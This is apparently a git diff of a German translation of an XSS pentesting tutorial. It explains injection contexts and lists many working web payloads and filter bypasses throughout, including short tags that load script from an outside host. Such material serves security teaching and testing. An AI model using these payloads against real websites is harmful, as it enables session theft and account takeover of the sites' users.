Um eine XSS erfolgreich auszunutzen, müssen Sie zuerst einen **Wert finden, der von Ihnen kontrolliert wird und im Webpage reflektiert wird**.
|
||||||
|
|
||||||
- **Zwischengespeichert reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad im Webpage reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
- **Zwischendurch reflektiert**: Wenn Sie feststellen, dass der Wert eines Parameters oder sogar der Pfad in der Webseite reflektiert wird, könnten Sie eine **Reflected XSS** ausnutzen.
|
||||||
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert ist und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
- **Gespeichert und reflektiert**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert auf dem Server gespeichert wird und jedes Mal reflektiert wird, wenn Sie auf eine Seite zugreifen, könnten Sie eine **Stored XSS** ausnutzen.
|
||||||
- **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
- **Über JS zugegriffen**: Wenn Sie feststellen, dass ein von Ihnen kontrollierter Wert über JS zugegriffen wird, könnten Sie eine **DOM XSS** ausnutzen.
|
||||||
|
|
||||||
## Kontexte
|
## Kontexte
|
||||||
@ -47,7 +47,7 @@ Wenn Sie versuchen, eine XSS auszunutzen, müssen Sie zuerst wissen, **wo Ihre E
|
|||||||
|
|
||||||
### Rohes HTML
|
### Rohes HTML
|
||||||
|
|
||||||
Wenn Ihre Eingabe im **rohen HTML**-Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... dies sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
Wenn Ihre Eingabe im **rohen HTML** der Seite **reflektiert wird**, müssen Sie einige **HTML-Tags** ausnutzen, um JS-Code auszuführen: `<img , <iframe , <svg , <script` ... das sind nur einige der vielen möglichen HTML-Tags, die Sie verwenden könnten.\
|
||||||
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
|
Denken Sie auch an [Client Side Template Injection](../client-side-template-injection-csti.md).
|
||||||
|
|
||||||
### Innerhalb von HTML-Tag-Attributen
|
### Innerhalb von HTML-Tag-Attributen
|
||||||
@ -56,8 +56,8 @@ Wenn Ihre Eingabe im Wert des Attributs eines Tags reflektiert wird, könnten Si
|
|||||||
|
|
||||||
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
1. Von **dem Attribut und dem Tag zu entkommen** (dann sind Sie im rohen HTML) und ein neues HTML-Tag zu erstellen, um es auszunutzen: `"><img [...]`
|
||||||
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
2. Wenn Sie **vom Attribut, aber nicht vom Tag entkommen können** (`>` ist kodiert oder gelöscht), könnten Sie je nach Tag **ein Ereignis erstellen**, das JS-Code ausführt: `" autofocus onfocus=alert(1) x="`
|
||||||
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird, **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
3. Wenn Sie **nicht vom Attribut entkommen können** (`"` wird kodiert oder gelöscht), dann können Sie je nach **welchem Attribut** Ihr Wert reflektiert wird **ob Sie den gesamten Wert oder nur einen Teil kontrollieren**, es ausnutzen. Zum **Beispiel**, wenn Sie ein Ereignis wie `onclick=` kontrollieren, können Sie es dazu bringen, beliebigen Code auszuführen, wenn es angeklickt wird. Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `javascript:`-Protokoll verwenden können, um beliebigen Code auszuführen: **`href="javascript:alert(1)"`**
|
||||||
4. Wenn Ihre Eingabe in "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
4. Wenn Ihre Eingabe innerhalb von "**nicht ausnutzbaren Tags**" reflektiert wird, könnten Sie versuchen, den **`accesskey`**-Trick zu verwenden, um die Schwachstelle auszunutzen (Sie benötigen eine Art von Social Engineering, um dies auszunutzen): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||||
|
|
||||||
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen kontrollieren:
|
||||||
```html
|
```html
|
||||||
@ -70,11 +70,11 @@ Seltsames Beispiel von Angular, das XSS ausführt, wenn Sie einen Klassennamen k
|
|||||||
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
In diesem Fall wird Ihre Eingabe zwischen **`<script> [...] </script>`**-Tags einer HTML-Seite, in einer `.js`-Datei oder innerhalb eines Attributs mit dem **`javascript:`**-Protokoll reflektiert:
|
||||||
|
|
||||||
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
- Wenn sie zwischen **`<script> [...] </script>`**-Tags reflektiert wird, können Sie versuchen, `</script>` einzufügen und aus diesem Kontext zu entkommen, selbst wenn Ihre Eingabe in irgendeiner Art von Anführungszeichen steht. Dies funktioniert, weil der **Browser zuerst die HTML-Tags** parst und dann den Inhalt, daher wird er nicht bemerken, dass Ihr injiziertes `</script>`-Tag im HTML-Code enthalten ist.
|
||||||
- Wenn sie **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
- Wenn es **innerhalb eines JS-Strings** reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String **verlassen**, Ihren Code **ausführen** und den JS-Code **rekonstruieren** (wenn ein Fehler auftritt, wird er nicht ausgeführt):
|
||||||
- `'-alert(1)-'`
|
- `'-alert(1)-'`
|
||||||
- `';-alert(1)//`
|
- `';-alert(1)//`
|
||||||
- `\';alert(1)//`
|
- `\';alert(1)//`
|
||||||
- Wenn sie innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
- Wenn es innerhalb von Template-Literalen reflektiert wird, können Sie **JS-Ausdrücke einbetten** mit der `${ ... }`-Syntax: `` var greetings = `Hello, ${alert(1)}` ``
|
||||||
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
- **Unicode-Encoding** funktioniert, um **gültigen JavaScript-Code** zu schreiben:
|
||||||
```javascript
|
```javascript
|
||||||
alert(1)
|
alert(1)
|
||||||
@ -114,7 +114,7 @@ parentElement
|
|||||||
```
|
```
|
||||||
Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`.
|
Sie können auch versuchen, **Javascript-Funktionen** direkt auszulösen: `obj.sales.delOrders`.
|
||||||
|
|
||||||
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM, **andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
|
In der Regel sind die Endpunkte, die die angegebene Funktion ausführen, jedoch Endpunkte ohne viel interessantes DOM. **Andere Seiten im gleichen Ursprung** haben ein **interessanteres DOM**, um mehr Aktionen durchzuführen.
|
||||||
|
|
||||||
Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt:
|
Daher wurde zur **Ausnutzung dieser Schwachstelle in einem anderen DOM** die **Same Origin Method Execution (SOME)**-Ausnutzung entwickelt:
|
||||||
|
|
||||||
@ -124,7 +124,7 @@ some-same-origin-method-execution.md
|
|||||||
|
|
||||||
### DOM
|
### DOM
|
||||||
|
|
||||||
Es gibt **JS-Code**, der **unsicher** einige **vom Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
|
Es gibt **JS-Code**, der **unsicher** einige **von einem Angreifer kontrollierte Daten** wie `location.href` verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dom-xss.md
|
dom-xss.md
|
||||||
@ -149,11 +149,11 @@ server-side-xss-dynamic-pdf.md
|
|||||||
|
|
||||||
## In rohes HTML injizieren
|
## In rohes HTML injizieren
|
||||||
|
|
||||||
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** zu **reflektieren** und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
|
Wenn Ihre Eingabe **innerhalb der HTML-Seite** widergespiegelt wird oder Sie HTML-Code in diesem Kontext entkommen und injizieren können, ist das **erste**, was Sie tun müssen, zu überprüfen, ob Sie `<` ausnutzen können, um neue Tags zu erstellen: Versuchen Sie einfach, dieses **Zeichen** widerzuspiegeln und zu überprüfen, ob es **HTML-codiert** oder **gelöscht** wird oder ob es **unverändert widergespiegelt** wird. **Nur im letzten Fall werden Sie in der Lage sein, diesen Fall auszunutzen**.\
|
||||||
Für diese Fälle sollten Sie auch **an die [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.\
|
Für diese Fälle sollten Sie auch **an** [**Client Side Template Injection**](../client-side-template-injection-csti.md)** denken.**\
|
||||||
_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***\***\*`-->`\*\***\***\*oder \*\*\*\*\*\***`--!>`\*\**_ geschlossen werden.
|
_**Hinweis: Ein HTML-Kommentar kann mit\*\*\*\*\*\***\***\*`-->`\*\***\***\*oder \*\*\*\*\*\***`--!>`\*\**_ geschlossen werden.
|
||||||
|
|
||||||
In diesem Fall und wenn keine Black/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
|
In diesem Fall und wenn keine Black-/Whitelisting verwendet wird, könnten Sie Payloads wie verwenden:
|
||||||
```html
|
```html
|
||||||
<script>
|
<script>
|
||||||
alert(1)
|
alert(1)
|
||||||
@ -226,9 +226,9 @@ onerror=alert`1`
|
|||||||
//Use more than one
|
//Use more than one
|
||||||
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
|
||||||
```
|
```
|
||||||
### Length bypass (kleine XSSs)
|
### Length bypass (kleine XSS)
|
||||||
|
|
||||||
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**sind hier zu finden**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
> [!NOTE] > **Weitere kleine XSS für verschiedene Umgebungen** Payloads [**finden Sie hier**](https://github.com/terjanq/Tiny-XSS-Payloads) und [**hier**](https://tinyxss.terjanq.me).
|
||||||
```html
|
```html
|
||||||
<!-- Taken from the blog of Jorge Lajara -->
|
<!-- Taken from the blog of Jorge Lajara -->
|
||||||
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
|
||||||
@ -250,7 +250,7 @@ Wenn Sie nur denken, dass **es unmöglich ist, ein HTML-Tag mit einem Attribut z
|
|||||||
### Innerhalb des Tags/Entkommen aus dem Attributwert
|
### Innerhalb des Tags/Entkommen aus dem Attributwert
|
||||||
|
|
||||||
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, **aus dem Tag zu entkommen** und einige der in der [vorherigen Sektion](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
Wenn Sie **innerhalb eines HTML-Tags** sind, ist das Erste, was Sie versuchen könnten, **aus dem Tag zu entkommen** und einige der in der [vorherigen Sektion](#injecting-inside-raw-html) erwähnten Techniken zu verwenden, um JS-Code auszuführen.\
|
||||||
Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einer Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag reflektiert wird_):
|
Wenn Sie **nicht aus dem Tag entkommen können**, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (_beachten Sie, dass in diesem Beispiel doppelte Anführungszeichen verwendet werden, um aus dem Attribut zu entkommen, Sie benötigen sie nicht, wenn Ihre Eingabe direkt im Tag reflektiert wird_):
|
||||||
```bash
|
```bash
|
||||||
" autofocus onfocus=alert(document.domain) x="
|
" autofocus onfocus=alert(document.domain) x="
|
||||||
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
|
||||||
@ -272,7 +272,7 @@ Ein weiteres interessantes **Beispiel** ist das Attribut `href`, wo Sie das `jav
|
|||||||
|
|
||||||
**Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung**
|
**Umgehung innerhalb des Ereignisses mit HTML-Kodierung/URL-Kodierung**
|
||||||
|
|
||||||
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher wird etwas wie das Folgende gültig sein (die Payload ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück</a>`
|
Die **HTML-kodierten Zeichen** innerhalb des Wertes von HTML-Tag-Attributen werden **zur Laufzeit dekodiert**. Daher ist etwas wie das Folgende gültig (die Nutzlast ist fett): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`'-alert(1)-'`**`';">Zurück</a>`
|
||||||
|
|
||||||
Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
||||||
```javascript
|
```javascript
|
||||||
@ -291,11 +291,11 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
|||||||
<a href="javascript:alert(2)">a</a>
|
<a href="javascript:alert(2)">a</a>
|
||||||
<a href="javascript:alert(3)">a</a>
|
<a href="javascript:alert(3)">a</a>
|
||||||
```
|
```
|
||||||
**Beachten Sie, dass URL-Encoding ebenfalls funktioniert:**
|
**Beachten Sie, dass die URL-Codierung ebenfalls funktioniert:**
|
||||||
```python
|
```python
|
||||||
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
|
||||||
```
|
```
|
||||||
**Umgehung innerhalb des Ereignisses mit Unicode-Kodierung**
|
**Umgehung von Innenereignissen mit Unicode-Codierung**
|
||||||
```javascript
|
```javascript
|
||||||
//For some reason you can use unicode to encode "alert" but not "(1)"
|
//For some reason you can use unicode to encode "alert" but not "(1)"
|
||||||
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
|
||||||
@ -303,7 +303,7 @@ Beachten Sie, dass **jede Art von HTML-Kodierung gültig ist**:
|
|||||||
```
|
```
|
||||||
### Besondere Protokolle innerhalb des Attributs
|
### Besondere Protokolle innerhalb des Attributs
|
||||||
|
|
||||||
Dort können Sie die Protokolle **`javascript:`** oder **`data:`**
|
Dort können Sie die Protokolle **`javascript:`** oder **`data:`** an einigen Stellen verwenden, um **willkürlichen JS-Code** auszuführen. Einige erfordern Benutzerinteraktion, andere nicht.
|
||||||
```javascript
|
```javascript
|
||||||
javascript:alert(1)
|
javascript:alert(1)
|
||||||
JavaSCript:alert(1)
|
JavaSCript:alert(1)
|
||||||
@ -351,7 +351,7 @@ _**In diesem Fall ist der HTML-Encoding- und der Unicode-Encoding-Trick aus dem
|
|||||||
```javascript
|
```javascript
|
||||||
<a href="javascript:var a=''-alert(1)-''">
|
<a href="javascript:var a=''-alert(1)-''">
|
||||||
```
|
```
|
||||||
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert**.
|
Darüber hinaus gibt es einen weiteren **schönen Trick** für diese Fälle: **Selbst wenn Ihre Eingabe innerhalb von `javascript:...` URL-codiert ist, wird sie vor der Ausführung URL-dekodiert.** Wenn Sie also aus der **Zeichenkette** mit einem **einzelnen Anführungszeichen** **entkommen** müssen und sehen, dass **es URL-codiert ist**, denken Sie daran, dass **es keine Rolle spielt,** es wird zur **Ausführungszeit** als **einzelnes Anführungszeichen** **interpretiert.**
|
||||||
```javascript
|
```javascript
|
||||||
'-alert(1)-'
|
'-alert(1)-'
|
||||||
%27-alert(1)-%27
|
%27-alert(1)-%27
|
||||||
@ -361,7 +361,7 @@ Beachten Sie, dass es **nicht funktioniert**, wenn Sie **beide** `URLencode + HT
|
|||||||
|
|
||||||
**Verwendung von Hex- und Oktal-Kodierung mit `javascript:`**
|
**Verwendung von Hex- und Oktal-Kodierung mit `javascript:`**
|
||||||
|
|
||||||
Sie können **Hex** und **Oktal-Kodierung** im `src`-Attribut von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**:
|
Sie können **Hex** und **Oktal-Kodierung** innerhalb des `src`-Attributs von `iframe` (mindestens) verwenden, um **HTML-Tags zu deklarieren, um JS auszuführen**:
|
||||||
```javascript
|
```javascript
|
||||||
//Encoded: <svg onload=alert(1)>
|
//Encoded: <svg onload=alert(1)>
|
||||||
// This WORKS
|
// This WORKS
|
||||||
@ -373,7 +373,7 @@ Sie können **Hex** und **Oktal-Kodierung** im `src`-Attribut von `iframe` (mind
|
|||||||
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
|
||||||
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
|
||||||
```
|
```
|
||||||
### Reverse Tab-Nabbing
|
### Reverse Tab Nabbing
|
||||||
```javascript
|
```javascript
|
||||||
<a target="_blank" rel="opener"
|
<a target="_blank" rel="opener"
|
||||||
```
|
```
|
||||||
@ -386,7 +386,7 @@ Wenn Sie eine beliebige URL in ein beliebiges **`<a href=`** Tag einfügen könn
|
|||||||
### Umgehung von Ereignis-Handlern
|
### Umgehung von Ereignis-Handlern
|
||||||
|
|
||||||
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Ereignis-Handler**.\
|
Überprüfen Sie zunächst diese Seite ([https://portswigger.net/web-security/cross-site-scripting/cheat-sheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)) für nützliche **"on" Ereignis-Handler**.\
|
||||||
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen ausprobieren:
|
Falls es eine Blacklist gibt, die Sie daran hindert, diese Ereignis-Handler zu erstellen, können Sie die folgenden Umgehungen versuchen:
|
||||||
```javascript
|
```javascript
|
||||||
<svg onload%09=alert(1)> //No safari
|
<svg onload%09=alert(1)> //No safari
|
||||||
<svg %09onload=alert(1)>
|
<svg %09onload=alert(1)>
|
||||||
@ -438,7 +438,7 @@ Mehrere Tricks mit verschiedenen Kodierungen wurden bereits in diesem Abschnitt
|
|||||||
- **Hex- und Oktal-Kodierung**
|
- **Hex- und Oktal-Kodierung**
|
||||||
- **Datenkodierung**
|
- **Datenkodierung**
|
||||||
|
|
||||||
**Umgehungen für HTML-Tags und -Attribute**
|
**Umgehungen für HTML-Tags und Attribute**
|
||||||
|
|
||||||
Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses).
|
Lies die [Blacklist-Umgehungen des vorherigen Abschnitts](#blacklist-bypasses).
|
||||||
|
|
||||||
@ -450,7 +450,7 @@ Lies die [JavaScript-Umgehungs-Blacklist des folgenden Abschnitts](#javascript-b
|
|||||||
|
|
||||||
Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Raum, den dieses Element einnimmt, zu modifizieren**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
Wenn du ein **XSS in einem sehr kleinen Teil** des Webs gefunden hast, das eine Art Interaktion erfordert (vielleicht ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, **den Raum, den dieses Element einnimmt, zu modifizieren**, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.
|
||||||
|
|
||||||
Zum Beispiel könntest du dem Element einige Stile hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
Zum Beispiel könntest du dem Element ein Styling hinzufügen wie: `position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5`
|
||||||
|
|
||||||
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du zum Beispiel findest
|
Aber, wenn das WAF das style-Attribut filtert, kannst du CSS Styling Gadgets verwenden. Wenn du zum Beispiel findest
|
||||||
|
|
||||||
@ -468,11 +468,11 @@ Dieser Trick wurde von [https://medium.com/@skavans\_/improving-the-impact-of-a-
|
|||||||
|
|
||||||
## Injektion in JavaScript-Code
|
## Injektion in JavaScript-Code
|
||||||
|
|
||||||
In diesem Fall wird dein **Input** **innerhalb des JS-Codes** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
In diesem Fall wird dein **Input** **im JS-Code** einer `.js`-Datei oder zwischen `<script>...</script>`-Tags oder zwischen HTML-Events, die JS-Code ausführen können, oder zwischen Attributen, die das `javascript:`-Protokoll akzeptieren, **reflektiert**.
|
||||||
|
|
||||||
### Escaping des \<script>-Tags
|
### Escaping des \<script>-Tags
|
||||||
|
|
||||||
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag **escapen**:
|
Wenn dein Code innerhalb von `<script> [...] var input = 'reflected data' [...] </script>` eingefügt wird, könntest du leicht **das schließende `<script>`**-Tag escapen:
|
||||||
```javascript
|
```javascript
|
||||||
</script><img src=1 onerror=alert(document.domain)>
|
</script><img src=1 onerror=alert(document.domain)>
|
||||||
```
|
```
|
||||||
@ -480,7 +480,7 @@ Beachten Sie, dass wir in diesem Beispiel **das einfache Anführungszeichen nich
|
|||||||
|
|
||||||
### Innerhalb des JS-Codes
|
### Innerhalb des JS-Codes
|
||||||
|
|
||||||
Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, da der JS-Code bei Fehlern nicht ausgeführt wird:
|
Wenn `<>` bereinigt werden, können Sie dennoch **den String escapen**, wo Ihre Eingabe **lokalisiert** ist und **willkürliches JS ausführen**. Es ist wichtig, die **JS-Syntax zu korrigieren**, denn wenn es Fehler gibt, wird der JS-Code nicht ausgeführt:
|
||||||
```
|
```
|
||||||
'-alert(document.domain)-'
|
'-alert(document.domain)-'
|
||||||
';alert(document.domain)//
|
';alert(document.domain)//
|
||||||
@ -489,7 +489,7 @@ Wenn `<>` sanitisiert werden, können Sie dennoch **den String escapen**, wo Ihr
|
|||||||
### Template literals \`\`
|
### Template literals \`\`
|
||||||
|
|
||||||
Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }`-Syntax einzubetten.\
|
Um **Strings** neben einfachen und doppelten Anführungszeichen zu erstellen, akzeptiert JS auch **Backticks** **` `` `**. Dies wird als Template-Literale bezeichnet, da sie es ermöglichen, **JS-Ausdrücke** mit der `${ ... }`-Syntax einzubetten.\
|
||||||
Daher, wenn Sie feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen:
|
Wenn Sie also feststellen, dass Ihre Eingabe innerhalb eines JS-Strings, der Backticks verwendet, **reflektiert** wird, können Sie die Syntax `${ ... }` missbrauchen, um **willkürlichen JS-Code** auszuführen:
|
||||||
|
|
||||||
Dies kann **missbraucht** werden mit:
|
Dies kann **missbraucht** werden mit:
|
||||||
```javascript
|
```javascript
|
||||||
@ -591,7 +591,7 @@ console.log(log)
|
|||||||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||||||
<img/src/onerror=alert(1)>
|
<img/src/onerror=alert(1)>
|
||||||
```
|
```
|
||||||
**Javascript in einem Kommentar**
|
**Javascript innerhalb eines Kommentars**
|
||||||
```javascript
|
```javascript
|
||||||
//If you can only inject inside a JS comment, you can still leak something
|
//If you can only inject inside a JS comment, you can still leak something
|
||||||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||||||
@ -739,21 +739,21 @@ top[8680439..toString(30)](1)
|
|||||||
```
|
```
|
||||||
## **DOM-Sicherheitsanfälligkeiten**
|
## **DOM-Sicherheitsanfälligkeiten**
|
||||||
|
|
||||||
Es gibt **JS-Code**, der **unsichere Daten verwendet, die von einem Angreifer kontrolliert werden**, wie `location.href`. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
|
Es gibt **JS-Code**, der **unsichere Daten, die von einem Angreifer kontrolliert werden**, wie `location.href`, verwendet. Ein Angreifer könnte dies ausnutzen, um beliebigen JS-Code auszuführen.\
|
||||||
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**
|
**Aufgrund der Erweiterung der Erklärung von** [**DOM-Sicherheitsanfälligkeiten wurde es auf diese Seite verschoben**](dom-xss.md)**:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
dom-xss.md
|
dom-xss.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzen kann**.\
|
Dort finden Sie eine detaillierte **Erklärung, was DOM-Sicherheitsanfälligkeiten sind, wie sie provoziert werden und wie man sie ausnutzt**.\
|
||||||
Vergessen Sie auch nicht, dass **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) zu finden ist.
|
Vergessen Sie auch nicht, dass Sie **am Ende des erwähnten Beitrags** eine Erklärung über [**DOM Clobbering-Angriffe**](dom-xss.md#dom-clobbering) finden können.
|
||||||
|
|
||||||
### Selbst-XSS aufrüsten
|
### Selbst-XSS aufrüsten
|
||||||
|
|
||||||
### Cookie-XSS
|
### Cookie-XSS
|
||||||
|
|
||||||
